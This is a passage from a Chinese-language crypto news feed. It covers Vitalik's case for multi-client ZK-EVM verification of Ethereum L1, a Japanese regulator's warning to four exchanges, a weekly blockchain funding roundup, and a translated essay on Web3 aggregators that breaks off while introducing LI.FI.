failure）的bug。比如，如果您有两个客户端，则客户端对某些协议的规则有细微编码差异的风险，虽然两种方式都是符合规则的，但分歧会导致区块链硬分叉。在以太坊的历史上发生过一次（还有其他更小的分叉，其中运行旧版本代码网络的一部分被分叉）这类严重的分叉。单一客户端机制的捍卫者指出，共识失效是不采用多客户端实现的原因：如果只有一个客户端，则该客户端必然会为自己辩护。他们关于客户数量如何转化为风险的模型可能如下所示： 图：共识失效风险与客户端类型数的关系 但Vitalik本人并不认同单一客户端机制，首先 (i) 2010 年比特币的灾难性错误非常重要， (ii)并且实际上永远不会只有一个客户端。后一点在2013 年的比特币分叉中表现得最为明显：由于两个不同版本的比特币客户端之间存在分歧而发生了分叉，其中一个版本在单个块中可以修改的对象数量上有一个偶然的、未被记录的限制。因此，理论上一个客户端在事实上通常是两个客户端，理论上五个客户端事实上可能是六个或七个客户端 - 所以我们应该走在风险曲线的右侧，并且至少有几个不同的客户端。 2.2 政治去中心化的论据 垄断客户端开发人员处于拥有大量政治权力的位置。如果客户端开发人员提出更改，而用户不同意，理论上他们可以拒绝下载更新版本，或者在没有其的情况下创建一个分叉链，但实际上用户通常很难做到这一点。如果不当的协议更改与必要的安全更新捆绑在一起怎么办？如果主要团队威胁说如果他们不按他们的方式行事就退出怎么办？或者，如果垄断客户端的团队最终成为唯一拥有最强大协议专业知识的群体，而使生态系统中其他人处于不利地位，无法有效判断客户端团队提出的技术方案，从而使客户端团队有很大的空间来推动其特定的目标和价值观，而这与更广泛的社区并不匹配。 在2013-2014 比特币 OP_RETURN 战争的背景下，一些参与者公开支持歧视区块链的一些特别用途。这激发了以太坊对协议政治的担忧，也是以太坊早期采用多客户端理念的重要促成因素，这旨在让小群体更难做出此类决定。以太坊生态系统特有的担忧——即避免权力集中在以太坊基金会内部——为这一方向提供了进一步的支持。2018 年，基金会决定有意不实施以太坊 PoS 协议（即现在所谓的“共识客户端”），而将该任务完全留给外部团队开发。 如今，ZK-EVM 正在积极地被用于Rollup。这通过允许昂贵的 EVM 执行仅在链下发生几次来增加扩展性，而其他人只需验证链上发布的SNARKs即可证明 EVM 执行结果的正确性。它还允许一些数据（特别是签名）不包含在链上，从而节省 gas 成本。这给了我们很多可扩展性的好处，可扩展计算与 ZK-EVM 和可扩展数据与数据可用性采样的结合可以让扩展走得更远。 然而，今天的以太坊网络也有一个不同的问题，一个再多的 L2 扩容也无法自行解决的问题：L1 难以验证，以至于没有多少用户真正运行自己的节点。相反，大多数用户只是信任第三方工具提供商。Helios和Succinct等轻客户端正在采取措施解决该问题，但轻客户端远非全验证节点：轻客户端仅验证称为同步委员会（sync committee）的随机验证器子集的签名，而不会验证该链是否实际上在遵循协议规则。为了让我们进入一个用户可以实际验证链是否遵守规则的世界，我们必须做一些不同的事情。 3.1 选项 1：限制L1，将几乎所有活动强制移动到L2 随着时间的推移，我们可以将L1每个区块的 gas 目标从 1500 万减少到 100 万，足以让一个区块包含一个 SNARK 和一些存款和取款操作，但其他的不多，从而使几乎所有的用户活动强制移动到L2协议中。这样的设计仍然可以支持在每个块中提交许多Rollup：我们可以使用由定制构建器（customized builders）运行的链下聚合协议来从多个L2协议收集多个SNARK证明，并将它们组合成单个 SNARK证明。这时，L1的唯一功能是成为L2协议的清算中心，验证它们的ZKP并偶尔促成它们之间的大额资金转移。 图：选项一的可能技术解决方案图解 这种方法可能有效，但它有几个重要的弱点： 因此，尝试找到一种使用 ZK-SNARKs 来验证L1的方法似乎更合理。 3.2 选项 2：基于SNARK证明的L1验证 第一类（完全等效于以太坊）ZK-EVM可用于验证L1的 EVM 执行。我们可以编写更多的 SNARK 代码来验证区块的共识方面。这将是一个具有挑战性的工程问题：今天，ZK-EVM 需要几分钟到几小时来验证以太坊区块，并且实时生成zk证明需要（i）改进以太坊本身以删除对 SNARK 不友好的组件，（ii）或者通过专门的硬件获得巨大的效率提升 ，(iii)或者通过更多的并行化来改进架构。然而，没有根本的技术原因去阻止三者的实现——所以Vitalik本人希望即使需要很多年，它也最终会完成。 这是ZKEVM与多客户端交集的地方：如果我们使用 ZK-EVM 来验证L1，要使用哪个 ZK-EVM？ 对Vitalik本人来说，（3）似乎是理想的，至少在我们可以形式化证明所有 ZK-EVM 能实现彼此等效并完成技术改进之前，我们可以选择一个最高效的。(1) 会牺牲多客户端范式的好处，并且 (2) 会关闭开发新客户端的可能性并导致更加集中的生态系统。(3) 有挑战，但至少目前这些挑战似乎比其他两个选项的挑战要小。 实施 (3) 不会太难：每个ZK-EVM类型的证明可能都有一个P2P子网络，使用一种ZK-EVM类型证明的客户端将监听相应的子网络并等待直到他们得知验证者认为其证明有效。 (3) 的两个主要挑战可能如下： 延迟挑战可以通过在设计单slot敲定协议时更加谨慎来解决。单slot敲定协议可能需要每个slot进行超过两轮的共识，因此可能需要第一轮包含区块，并且只需要节点在第三轮（或最后一轮）签名之前验证证明。这确保了在发布区块截止时间和预计证明可用时间之间始终有一个重要的时间窗口可用。 数据效率问题必须通过单独的协议来聚合与验证相关的数据来解决。对于签名，我们可以使用ERC-4337 已经支持的BLS聚合。另一类验证相关的数据是用于隐私的ZK-SNARKs，当然这些数据往往有自己的聚合协议。 值得一提的是，基于SNARK证明的L1验证有一个重要的好处：链上 EVM 执行不再需要由每个节点验证，这使得大大增加EVM的执行数量成为可能。这可以通过大幅提高L1 的 gas limit，或通过引入受保护的rollup来完成，或两者兼而有之。 使一个开放的多客户端 ZK-EVM 生态系统运行良好需要大量的工作。但值得庆幸的是，这项工作的大部分正在发生或无论如何都会发生： 有了这些技术，未来看起来非常美好。以太坊区块会比今天更小，任何人都可以在他们的笔记本电脑甚至他们的手机或浏览器扩展程序中运行一个全验证节点，这一切都会发生，同时保留以太坊多客户端理念的优点。 从长远来看，一切皆有可能。也许 AI 会增强形式化验证程度，使其可以轻松证明 ZK-EVM 实现的等效并识别导致它们之间差异的所有错误，这甚至可能是现在就要开始着手开发的项目。如果这种基于形式化验证的协议能够成功，则需要建立不同的机制以确保该协议的政治去中心化持续进行；也许到那时，协议将被视为“完整的”，不可变型规范将更加强大。但即使这是更长远的未来，开放的多客户端 ZK-EVM 生态系统似乎是一个必经之路，无论如何都有可能发生。 从短期来看，这仍然是一段漫长的旅程。ZK-EVM就在这里，但 ZK-EVM 在L1真正可行将需要它们首先改进为第一类ZK-EVM，并使证明产生足够快以使其可以实时发生。有了足够的并行化（这是可行的，但要实现这一点仍然需要做很多工作），共识变化（如提高 KECCAK、SHA256 和其他哈希函数预编译的 gas 成本）也将是以太坊蓝图的重要组成部分。也就是说，过渡的第一步可能比我们预期的要早：一旦我们切换到Verkle 树和无状态客户端，客户端就可以开始逐渐使用 ZK-EVM，并且可以自行过渡到“开放的客户端 ZK-EVM 生态系统”。  ( 3 min )
    PA图说 | 一图掌握Polygon上NFT一周关键数据（03.27—04.02）
    PANews APP 2.0 全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 1 min )
    外媒：日本金融厅对Bybit、MEXC等4家加密交易所发出警告
    PANews 4月3日消息，据CoinPost报道，3月31日，日本金融厅根据事务准则，就未在日本注册的情况下提供加密货币交易一事对4家海外加密交易所发出警告，这4家交易所分别是Bybit、MEXC、Bitget和Bitforex。Bitforex总部位于塞舌尔共和国，Bybit、MEXC Global和Bitget总部位于新加坡。  ( 1 min )
    融资周报 | 公开融资事件29起；质押协议开发商EigenLabs完成5000万美元A轮融资，Blockchain Capital领投
    本期看点 据 PANews 不完全统计，上周（3.27-4.2）全球区块链有29起投融资事件，资金总规模近3.4亿美元，与前一周相比均有所增加，概览如下: 下面我们一起来全盘回顾上周的投融资事件。 质押协议开发商EigenLabs完成5000万美元A轮融资，Blockchain Capital领投 质押协议开发商 EigenLabs 在 Blockchain Capital 领投的 A 轮融资中筹集了 5000 万美元。资金来自 EigenLabs 准备在全年分阶段推出其 EigenLayer 协议的初始版本。该轮融资的其他支持者包括 Electric Capital、Polychain Capital、Hack VC、Finality Capital Partners 和 Coinbase Ventures 等。EigenLabs 上一次筹集资金是在 8 月，由 Polychain Capital 和 Ethereal Ventures 领投的 1450 万美元种子轮融资。 初创公司Econia Labs在Dragonfly领投的种子轮融资中筹集了650万美元 为 Aptos 区块链开发订单簿协议的初创公司 Econia Labs 在 Dragonfly 领投的种子轮融资中筹集了 650 万美元。这轮融资的其他支持者包括 Lightspeed Faction、Wintermute Ventures、Hudson River Trading 和 Flow Traders 等。Aptos Labs 也参与其中。Econia Labs 与 Aptos 团队合作开发了该协议。该公司将利用这笔资金扩大其团队，支持黑客马拉松和赠款计划等社区计划，并帮助开发人员加入 Aptos 和 Econia 生态系统。 DeFi借贷协议Granary Finance完成超过500万美元融资 DeFi借贷协议Granary Finance在不到两周时间里通过社区融资筹集了超过500万美元的稳定币USDC。新资金将用于Granary V2开发以及即将推出的Granary治理代币相关支持工作，为Web3金融用户提供无摩擦借贷体验。 DeFi衍生品协议Cega完成500万美元融资，Dragonfly Capital领投 Solana生态DeFi衍生品协议Cega完成500万美元融资，Dragonfly Capital领投，Pantera Capital和Robot Ventures等参投。最新一轮融资使Cega迄今为止的总融资额达到930万美元。它在去年3月筹集了430万美元。新资金将用于扩大其在以太坊上的协议，将在该协议上推出杠杆期权等新产品，其以太坊计划于下周推出。 Nautilus网络DEX PoseiSwap完成150万美元融资，Zebec Labs领投 PoseiSwap宣布完成150万美元战略融资，Zebec Labs领投，Eclipse与Notifi Network参投，该轮融资将用于加速产品开发。PoseiSwap是Nautilus Chain上首个DEX ，已于3月27日公布空投计划。Nautilus是一个Layer3链，可通过对交易进行分批处理来帮助扩容L1链，从而将共识和执行层分开。 OrderlyNetwork以2亿美元估值从CoinDCX Ventures筹集新资金 基于Near的 DeFi 协议OrderlyNetwork 在战略投资回合中从印度的 CoinDCX Ventures 筹集了一笔未公开金额的资金。这笔资金是通过一项简单的未来代币协议 (SAFT) 实现的，估值为 2 亿美元，与野村子公司Laser Digital投资时估值相同。 音乐NFT交易所Muverse完成600万美元种子轮融资 音乐NFT交易所Muverse宣布完成600万美元种子轮融资，Syndicate Capital、Knights Templar Capital、Zonff Partners、AvatarDAO、Sun Artland Ltd和几位天使投资者参投。新资金将用于扩大平台的功能和服务，加速用户获取，并提升用户体验。据悉，Muverse允许世界各地的音乐艺术家、投资者和粉丝参与音乐NFT交易。该平台为用户提供游戏化的互动、投资和收入场景，包括一个结合收益模型的节奏游戏，以及一个为用户提供充足流动性的NFT交易所。该平台正在开发其第二阶段的产品，其中将包括音乐NFT交易所、NFT碎片化功能和用于其F-NFT/MCT交易的AMM池。 元宇宙开发公司LandVault完成300万美元B轮扩展轮融资，The Sandbox等参投 元宇宙开发公司LandVault完成300万美元B轮扩展轮融资，The Sandbox、Gemini Frontier Fund、HodlCo和对冲基金Kingsway Capital等参投。该公司将利用这笔资金继续其Web3扩张并创建AI工具。此前3月22日消息，LandVault完成3700万美元融资，软银等领投。 音乐NFT项目Daniel Allan Entertainment完成100万美元种子轮融资，Coop Records领投 音乐制作人、Web3爱好者Daniel Allan近日宣布，其音乐NFT项目Daniel Allan Entertainment完成100万美元种子轮融资，Coop Records领投，Palm Tree Crew Crypto、Noise DAO、Woodstock DAO、 Fire Eyes DAO以及天使投资人Adam Kornfield、等参投。 Daniel Allan于2021年4月铸造第一个音乐NFT，并在过去的一年半里，其NFT的一级销售总收入228 ETH，二级销售总收入105 ETH。 沙特阿拉伯 NFT 市场 Nuktah完成种子轮融资，Animoca Brands 领投 沙特阿拉伯 NFT 市场 Nuktah 近期宣布完成种子轮融资，具体金额未披露，Animoca Brands 领投，区块链平台 Polygon 和一些投资者参投。新资金将用于 Nuktah 未来 12 个月内发展产品开发、营销、人才招聘和其他职能领域的业务。Nuktah 由摄影师、艺术家以及 Web3 和区块链倡导者 Salwa Radwi 于 2021 年创立，获得沙特通信和信息技术部和投资部许可。 硬件钱包制造商Ledger以13 亿欧元的估值锁定了 1 亿欧元的大额融资 总部位于巴黎的硬件钱包制造商 Ledger 在首轮融资中筹集了 1 亿欧元（1.09 亿美元）的大部分资金。 估值为 13 亿欧元，与投资者在2021 年 6 月上一次融资时给出的价格大致相同。新投资者包括 True Global Ventures、Cité Gestion SPV、Digital Finance Group 和 VaynerFund。他们加入了 10T、Cap Horn、Morgan Creek 和 Cathay Innovation 等现有支持者的行列。该公司将利用这笔现金扩大其分销商网络、提高产量和开发产品，从而发展业务。 专注于人工智能的加密协议Fetch.ai完成4000万美元融资 专注于人工智能的加密协议Fetch.ai已从做市商和投资公司 DWF Labs 处筹集了 4000 万美元。Fetch.ai的目标是通过提供自主的机器对机器生态系统，为开发人员提供工具来部署应用程序并从中获利。该公司周三在一份声明中表示，Fetch 将利用这笔投资在其平台上部署去中心化机器学习、自主代理和网络基础设施。 跨链桥聚合器LI.FI完成1750万美元A轮融资，CoinFund等领投 跨链桥聚合器LI.FI宣布完成1750万美元A轮融资，CoinFund和Superscrypt领投，Bloccelerate、L1 Digital、Circle、Factor、Perridon、Theta Capital、Three Point Capital、Abra和近20位天使投资人参投。据悉，LI.FI本轮筹集的新资金将用于推动LI.FI在更多区块链、DEX、跨链桥等领域的开发，同时加强其销售、业务发展、营销和其他能力，以支持代币和订单流交易。 区块链基础设施解决方案TradeWindow完成700万美元战略股权融资 区块链基础设施解决方案TradeWindow已完成一笔700万的美元战略股权融资，nChain参投，本次融资交易完成后nChain将持有该公司19.99%的股份。TradeWindow主要提供区块链基础设施解决方案，包括能源计量、资产跟踪和跨境支付等，新资金将提升其软件工程能力，接触更多的专家开发人员和已经构建的产品并加速Web3转型。 加密基础设施Conduit完成Paradigm领投的700万美元种子轮融资 加密基础设施初创公司 Conduit 宣布完成 700 万美元种子轮融资，Paradigm 领投，Robert Miller、Ludwig Pettersson、Dan Romero、Guillaume Poncin、Joshua Ma和Lakshman Sankar参投。新资金将帮助 Conduit 继续其首个产品发布并实现其实现盈利的目标。 开源区块链D-Ecosystem完成600万美元融资 开源区块链D-Ecosystem宣布已在其首次 DEX 发行 (IDO) 之前筹集了 600 万美元的资金。定于 3 月 29 日开始的公开发售将标志着 DXC 代币发售的第一阶段。D-Ecosystem 是一个去中心化的开源区块链生态系统，包括公链、自有支付系统、自有 DEX、钱包、NFT 市场等。 基于区块链技术的农业金融科技公司Agreena完成4600万欧元B轮融资 基于区块链技术的农业金融科技公司Agreena宣布完成4600万欧元B轮融资，HV Capital领投，AENU、 Anthemis 以及现有股东Gullspång Re:food 、 Kinnevik和丹麦的出口和投资基金等参投。 去中心化协作AI平台FedML完成600万美元融资 去中心化协作AI平台FedML宣布完成600万美元种子轮和Pre-Seed轮融资，Camford Capital领投，Plug and Play Ventures、AimTop Ventures、Acequia Capital、LDV Partners等投资者参投。据悉，FedML是一个去中心化协作的机器学习平台，提供了一个分布式MLOps生态系统，可以训练、部署、监控和持续改进机器学习模型，同时以保护隐私的方式在组合数据、模型和计算资源上进行协作，目前已签署10份企业合约，涵盖Web3应用程序等。 基于区块链的客户奖励平台apM Coin从DWF Labs获得500万美元投资 基于区块链的客户奖励平台apM Coin宣布从DWF Labs获得500万美元投资和价值150万美元的可选合作合同。通过此次合作，两家公司计划推动WEB 3.0生态系统的扩张。通过此次获得的投资和合作，apM Coin计划开发和扩展apM Coin Project的链间支付解决方案。据悉，apM Coin项目已和经营着韩国三家大型B2B服装批发商场apM, apM PLACE和apM Luxe的apM集团合作，这三家购物中心引入了其app并支持apM Coin代币支付。 区块链理赔平台Vitraya完成500万美元融资，StartupXSeed领投 区块链理赔平台Vitraya背后的开发公司Vitraya Technologies宣布完成500万美元新一轮融资，B2B风险投资基金StartupXSeed领投，Season Two Ventures、Cactus、Xceedance和Mankind Pharma家族办公室等参投。据悉，Vitraya平台使用区块链和人工智能技术确保医院、患者和保单数据的绝对安全，该平台在涉及的私有区块中保护数据的所有端点，并帮助参与各方可以安全无忧地进行互动。 Web3社交平台SO-COL在两轮融资中筹集了450万美元，投资方包括DWF Labs Web3社交平台SO-COL披露其在两轮融资中筹集了450万美元，最近一轮价值150万美元的融资仅由DWF Labs提供支持。去年5月， So-Col还在Blockchain Capital领投的一轮融资中筹集了300万美元。5月份的融资估值为1亿美元，但未披露最近一轮融资的最新估值。在DWF的新投资下，基于以太坊的So-Col计划转向多链并支持更多的Layer 1和Layer 2区块链，包括Starkware。 房地产区块链技术服务商Coadjute完成400万英镑融资，Praetura Ventures领投 Coadjute完成400万英镑融资，Praetura Ventures领投，Reech Corporation Group参投。Coadjute该公司旨在为英国房地产市场提供区块链技术，通过区块链加快房地产交易。该公司使用R3 Corda的银行级区块链，可以提供高安全级别、低网络成本的区块链交易。 基于区块链的贸易融资协议Polytrade完成380万美元种子轮融资 基于区块链的贸易融资协议Polytrade 在由 Alpha Wave、Matrix Partners、Polygon Ventures 和 CoinSwitch Ventures 领投的种子轮融资中筹集了 380 万美元，其他投资者包括 Singularity Ventures 和 GTM Ventures。该公司此前得到了Polygon联合创始人 Sandeep Nailwal 和 QuickSwap 联合创始人 Sameep Singhania 等人的支持。Polytrade 计划继续构建“各种模型，将整个交易供应系统带入区块链”。 Vote-to-earn项目Love Hate Inu完成200万美元融资 Vote-to-earn项目Love Hate Inu通过代币预售完成200万美元融资，该项目旨在通过奖励参与在线调查的用户来改变在线投票行业。在此平台上，用户必须持有LHINU代币至少30天才能参与投票。用户的投票权与他们质押的LHINU数量和选择的质押周期成正比。目前Love Hate Inu的代币预售已进入第3阶段（共8个）。投资者可以1LHINU = 0.000095 USDT的价格购买LHINU。 Web3艺术平台Ensemble完成100万美元种子轮融资 Web3艺术平台Ensemble完成100万美元种子轮融资，Collab+Currency领投，Lattice、Builder Capital参投，天使投资人包括Ben Roy与Block0联创Manu Andorra。 Ensemble已于2022年11月推出平台的第一个版本，2023年4月5日，将推出升级后的Ensemble平台。 Web3硬件制造商JDI Global完成新一轮融资，Dragonfly等参投 Web3硬件制造商JDI Global宣布完成新一轮融资，Dragonfly、Futuremoney、LinkVc、Lancer等机构的参投。JDI表示，这次融资将有助于其进一步加强技术研发、扩大市场份额、加速产品落地。 Junggl Media完成新一轮融资，Northbrook Capital Start-up Fund投资 Web3初创公司Junggl Media完成新一轮融资，Northbrook Capital Start-up Fund投资，具体融资金额暂未公布，新资金将用于继续扩展其在数字金融媒体、加密Web3和AI方面的产品，为媒体公司提供更全面的创新解决方案。 区块链代币发行众筹服务平台FiNANCiE完成融资，Marui Group参投 区块链代币发行众筹服务平台FiNANCiE宣布完成新一轮融资，零售和金融公司Marui Group参投，但具体融资金额暂未披露。据Financier首席执行官Hirohisa Kunimitsu透露，未来其平台将寻求推出以FNCT为中心的加密资产、代币和NFT金融科技计划，以推动和支持创作者经济。 印尼加密交易所Mobee完成新一轮融资，1982 Ventures领投 印度尼西亚加密货币交易所Mobee完成新一轮融资，具体金额未披露，1982 Ventures领投，数家印尼家族办公室和个人投资者参投。所筹资金将用于扩大业务、推出新产品，并聘请更多来自金融服务和数字资产行业的资深人士。 DAO组织Hydra Ventures完成1000万美元融资，ConsenSys等参投 去中心化自治组织 Hydra Ventures 已筹集 1000 万美元用于支持投资 DAO。Hydra Ventures 的投资者包括 1kx、Collab+Currency、ConsenSys 和 Seed Club。Hydra Ventures DAO 匿名风险投资人 P3terpan 表示，Hydra Ventures 将投资 30 到 40 个 DAO——目标是投资 DAO 本身高达 10%。到目前为止，它已经进行了一项投资，但尚未宣布，并计划在此过程中孵化一些投资 DAO。 pi Ventures完成2.2亿卢比融资，将投资区块链等领域 印度早期风险投资基金pi Ventures宣布完成2.2亿卢比（270万美元）融资，比利时COLRUYT GROUP参投。pi Ventures表示，这笔融资将使其有望完成Fund II募资，该基金已经获得Accel、Nippon India Digital Innovation AIF (NIDIA)、Bertelsmann India Investments等机构支持，并将投资人工智能、区块链、深度技术等领域，目前其投资有Web3网络安全公司Silence Laboratories、B2B货币供应链管理平台OweMe等。  ( 4 min )
    解析聚合器赛道现状：Li.Fi有哪些优势？
    原标题：Revisiting Aggregation Theory 作者：Joel John 编译：Kxp，BlockBeats 一年前，我们撰文讨论了 Web3 时代的聚合理论。在 Web 2.0 时代，聚合器受益于降低的分发成本并汇集了众多服务提供商。亚马逊、优步和抖音这样的平台依靠数以百计的供应商、创作者或驾驶员为用户提供的服务或价值而收益颇丰。同时，用户也获得了无尽的选择。对于创作者来说，规模才是关键。我之所以选择在推特上发推文而不是 Lens，是因为我的粉丝都主要集中在推特上。 在 Web 3.0 中，聚合器主要依赖于验证和信任成本的降低。如果你使用了正确的合约地址，那么你就不用担心在 Uniswap 上兑换到假的 USDC。像 Blur 这样的市场平台无需花费资源来验证平台上交易的每个 NFT 是否真实，因为网络本身承担了这部分成本。 Web3 中的聚合器可以通过检查链上数据更轻松地查看资产价格或找到它们的列表位置。在过去的一年里，大多数聚合器都致力于整合链上数据集，并使其易于用户使用。这些数据可能与价格、收益、NFT 或资产桥接途径有关。 当时的假设是，那些作为聚合器接口快速扩张的公司将建立垄断地位。我当时特别提到了 Nansen、Gem 和 Zerion 作为例子。然而，讽刺的是，回顾过去的一年，我的假设并不准确——这也是我今天想探讨的事情。 不要误会我的意思。Gem 几个月后被 OpenSea 收购。Nansen 融资 7500 万美元，Zerion 则在 10 月进行了 1200 万美元的融资。因此，从投资者的角度来看，我的假设是正确的。这些产品各自在其领域都是佼佼者，但促使我撰写这篇文章的是，我预测的相对垄断地位并未实现。相反，它们在过去的一年里都面临了竞争对手的涌现。这在新兴领域是一个理想的特征。 那么，在过去的几年里发生了什么呢？正如我在《版税之争》中所写的，Gem（以及 OpenSea）的相对垄断地位在 Blur 进入市场后受到了威胁。同样，Arkham Intelligence 结合了令人兴奋的用户界面、可能的 Token 发行以及通过推荐奖励 Token 的巧妙营销策略来与 Nansen 竞争。Zerion 可能感到相对安逸，但 Uniswap 的新钱包发布可能会侵蚀它们的市场份额。 你看到这里的趋势了吗？过去没有 Token、靠股权投资者支持稳步增长的聚合器现在正面临着发放 Token 的公司带来的风险。随着我们深入熊市，这种「社区所有权」的概念将变得越来越重要，因为坚守阵地的有限消费者希望最大限度地利用他们的每一美元。此外，使用平台获得奖励而不是支付费用使用它还具有新颖性。 因此，一方面，长期以来现金流正面的公司将看到收入下降；另一方面，他们将看到用户涌向竞争对手。这种情况可持续吗？绝对不可能，以下是它的运作方式： 公司推出一款暗示 Token 的产品，如果发布与推荐计划相关联，那就更好了。比如 Arkham Intelligence 向访问他们的平台的用户提供 Token，而考虑到空投的可能性，越来越多的用户会花费时间在这个产品上。这是一种特性，而非缺陷。 这是一种令人难以置信的方法来对产品进行压力测试、降低客户获取成本并在产品中引导网络效应。挑战在于用户的留存率，一旦 Token 奖励不再提供，用户通常会转向其他产品。因此，大多数「暗示」Token 的开发者并不知道他们的用户基数有多大。 下面这个人总结了当今加密领域普通人的哲学基础，很好地总结了驱动我们世界的自利行为： 值得注意的是，过去有一个历史趋势，即用户放弃 Token 发布项目转向现有项目。此处的陷阱在于，创始人（可能）认为通过 Token 激励获取的用户具有黏性。在理想条件下，Token 激励与产品用户之间的关系图应如下图所示： 但现实情况是，随着 Token 激励的减少，最初涌入的用户几乎完全放弃了项目。他们没有理由在失去最初吸引他们的激励后继续为产品做贡献。这种现象在过去两年里困扰着 DeFi 和 P2E。 积累 Token 并持有的用户成为了新的「社区」成员，他们想知道资产价格何时会大幅上涨，以便他们退出。 我最初的论点是将多个产品的功能集简单地集中到一个界面上，使用区块链作为基础设施的骨干，作为持久的护城河，这很可能是错误的。我想知道为什么具有相对优势的领导者会在 Web3 中被其他公司取代。Binance 推翻了 Coinbase，而他们又面临着 FTX 的竞争。OpenSea 看到了来自 Blur 的竞争。Sky Mavis 是 Axie Infinity 的制造商，随着 Illuvium 等新进入者进入市场，它可能会面临热度。为什么 Web3 的用户会随着时间的推移而离开？要怎样才能留住一个用户足够长的时间？ 在 Web3 时代，当每个人都可以发布一个内嵌 Token 的版本时，什么可以成为一种护城河？我一直在思考这个问题，因为我们生活在一个叙事转换的市场中，每个季度都有一个新的「热门」事物。这就是为什么我关注的风险投资家会在一夜之间从远程工作专家变成处理台湾地缘政治紧张局势的专家。 当然，如果你只是在资产之间进行交易（顺便说一句，这是大多数加密领域人士的「用例」），这种做法是可行的。但是，如果你想建立一个随着时间推移而增长的资产基础（如谷歌或苹果的股权），在资产之间轮换可能是一个糟糕的主意。 这也适用于顾问如何改变他们的 LinkedIn 简历 你最终希望花费时间、金钱或精力的投入能够在不需要积极管理的情况下增长。而唯一能够实现这一点的方法在于产品做到这两件事情：首先，保留他们已经拥有的用户；其次，积极扩展，以防止竞争对其市场份额的侵蚀。那么，怎么做才能实现这一点呢？（当人们开始考虑护城河和用户留存时，你就知道这是一个熊市了） 这种现象的部分原因是将公司排名放在创新和便利之间的频谱上。在早期，像 NFT 这样的原始产品十分新奇，吸引了那些愿意不遗余力地尝试该产品的人。 我们很容易处理钱包中的种子短语，因为使用「数字货币」的新奇感足以吸引我们。如果你注意到用户对 Ordinal 的好奇，你会意识到用户是多么有耐心。早期的利润因素是推动用户在艰难时期坚持下来进行投机并获利的原因所在。 在频谱的另一端是我们每天都依赖的高便利性工具。亚马逊是一个让我们沉迷于便利的聚合器的实例。消费者可能受益于购买不在亚马逊上的小众商店，而且可能该商家在亚马逊上的定价不合理。 但是，在做决定时，你最不用担心的是支付方式、交货时间或客户支持。这种在心理上的「节约」转化为在聚合器上花费更多的注意力或资本。许多卖家来到亚马逊，恰恰是因为他们理解市场中的消费者行为与如果用户直接来到店铺的不同。 Tim Wu 在 2018 年的一篇文章中总结了人们为便利所付出的努力： 当然，我们愿意为便利支付溢价，而且往往比我们意识到的更愿意付出。例如，在上世纪 90 年代晚期，像 Napster 这样的音乐分发技术使得在线获取音乐变得不花一分钱，并吸引了很多人使用。但尽管现在仍然可以轻松地免费获取音乐，但没有人真的这么做了，因为 2003 年引入的 iTunes 商店使得购买音乐比非法下载更加方便。 回到我最初提到的频谱，新颖的技术通常会支付给用户来尝试它们。相反，高度便利的应用程序让用户为追求便利而支付高昂的费用。 当今大多数面向消费者的应用程序面临的挑战是它们处于「死亡谷」中间，也就是我所说的中间地带。它们既不新颖到让人想要尝试，也不足够便利，无法在没有外界干预的情况下被依赖。Skiff、Coinbase Card 和 Mirror 很擅长在这个方程的便利性频谱上替代它们传统的对应品。 但是，对于游戏、借贷或身份认证赛道为例，你将看到为什么这些主题尚未在链上扩展。 中间的大多数应用程序犯了一个致命的错误，那就是相互竞争。首先是通过广告和招聘，增加客户获得成本和就业成本，然后通过制作谜因和发布针对同行的叙事来竞争。正如 Peter Thiel 所说的那样：竞争是留给失败者的。 当初创企业开始在小众市场上竞争时，通常不会有赢家。用他的话来说，初创企业能够从生存的斗争中转变的唯一途径是拥有垄断性的利润。但是，如何才能达成这一点呢？ 在 Web3 中，如果一家公司想实现 Token 以外的发展途径，可以着眼于三个方面：成本、应用案例和分发。过去曾有一些实例，所以我将逐一阐述这些内容。 稳定币已经成为加密货币的杀手级应用案例，因为它们在全球范围内提供了比传统银行更好的体验。在印度，UPI 等创新可能更具成本效益，但在东南亚、欧洲或非洲之间转移资金，或仅在美国的银行账户之间移动余额，使用链上转账更为合理。 从用户的角度来看，产生的成本不仅仅是在转账金额上花费的钱，还包括移动资金所需的时间和精力。借记卡对电子商务的作用就像稳定币对汇款的作用一样：减少了转账所需的认知成本。与大多数面向消费者的收益生成移动应用相比较，你可以提供稍微更高的收益，但考虑到崩盘风险，其价值主张将失败。 如果你在新兴行业聚集小众用户，分发可以成为一个护城河，想想 Compound 和 Aave 是如何解锁全新的借贷市场的就可以了。很少有人会觉得用 100 美元的 Ethereum 抵押贷款 50 美元有价值。但不少人忽略了有一种市场并没有得到服务——主要是那些不想在熊市出售其资产的加密富人。 你会错误地认为，在新兴市场中没有获得信贷额度的人会推动 DeFi 借贷的交易量。但实际上，加密富豪才是推动力，这是一个之前无法获得银行服务的人群。成为与某个领域相关的「中心」，可以吸引用户的关注，进而推动单一功能的发展。Coingecko 和 Zerion 就是在这方面做得很好的两个企业。 考虑到公司促使用户使用新功能的边际成本几乎为零，因此向产品本身迭代和添加新的收入来源变得具有成本效益。这就是为什么 WeChat（在东南亚）、Careem（在中东）和 PayTM（在印度）等平台往往做得不错的原因。 当像 Uniswap 这样的玩家发布钱包时，他们实际上是在尝试将用户聚集在一个界面中，在这个界面中，能够以更低的成本推送更多功能（如他们的 NFT 市场）。 ENS、Tornado Cash 和 Skiff 等产品已经树立了忠实的用户群体，这些用户重视这些传统替代品无法提供的独特特点。例如，Facebook 不会将钱包地址与用户身份关联起来，而 Tornado Cash 则提供了无与伦比的隐私，相比银行来说更加保护用户隐私。 你可以想象这些产品的用户经常会坚持使用，因为通常没有可以媲美的替代品。然而，引入新的用例需要教育用户并提高用户意识，这需要时间。然而，成为第一个进入市场的公司可以占据大部分市场份额。 在 LocalBitcoins 的早期阶段，它是唯一的点对点交易平台，并帮助聚集新兴市场（如印度）的流动性，使其保持领先地位直到 2016 年。 在熊市中，通过专注于传统的增长手段来扩展产品规模是很困难的。上述产品在多个市场周期中存活了下来。Axie Infinity 的成功归功于团队在 2020 年之前进行了两年的基础工作，使他们能够建立强大的社区、管理 Token，并平衡投资者和用户的利益。 这就是为什么在市场低迷时，风险投资者喜欢投资于开发者工具和基础设施。为了应对零售用户缺乏兴趣的情况，公司将注意力转向面向企业的解决方案，并为开发人员构建工具，以便他们能够吸引零售用户。Coinbase 已经意识到这一点，在熊市中发布了钱包 API 等工具。LI.FI 是这一趋势的典型代表，为开发人员提供 SDK，以使他们的应用程序和用户支持多条链。 LI.FI（Liquid Finance 的简称）是一个支持多条链的流动性聚合器，为开发人员提供 SDK，以使他们的应用程序和用户支持多条链。例如，如果 Metamask 或 OpenSea 希望允许用户在 Polygon 和 